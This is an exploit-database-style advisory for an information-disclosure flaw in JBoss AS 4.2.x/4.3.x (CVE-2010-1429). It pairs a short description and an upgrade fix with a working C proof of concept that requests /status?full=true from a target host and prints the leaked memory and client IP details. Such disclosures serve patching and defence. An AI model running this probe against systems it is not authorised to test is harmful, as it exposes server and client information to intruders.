# Date: 02/08/2018

# Vendor Homepage: http://www.jboss.org <http://www.jboss.org/>
# Software Link: http://jbossas.jboss.org/downloads <http://jbossas.jboss.org/downloads>
# Version: 4.2X. & 4.3.X
# Tested on: Linux Ubuntu
# CVE : CVE-2010-1429




1. Description

By requesting the Status param and sitting its value to true, Jobss will print a sensitive information such as Memory used/Total Memory / Client IP address.
Example: http://127.0.01/status?full=true


2. Proof of Concept

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>


int socket_connect(char *host, in_port_t port){
struct hostent *hp;
struct sockaddr_in addr;
int on = 1, sock;

if((hp = gethostbyname(host)) == NULL){
herror("gethostbyname");
exit(1);
}
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));

if(sock == -1){
perror("setsockopt");
exit(1);
}

if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
perror("connect");
exit(1);

}
return sock;
}

#define BUFFER_SIZE 1024

int main(int argc, char *argv[]){
int fd;
char buffer[BUFFER_SIZE];

if(argc < 3){
fprintf(stderr, "Usage: %s <hostname> <port>\n", argv[0]);
exit(1);
}

fd = socket_connect(argv[1], atoi(argv[2]));
write(fd, "GET /status?full=true\r\n", strlen("GET /status?full=true\r\n")); // write(fd, char[]*, len);
while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
fprintf(stderr, "%s", buffer);
}

shutdown(fd, SHUT_RDWR);
close(fd);
return 0;
}


3. Solution :
Update to version 4.2.3 or later
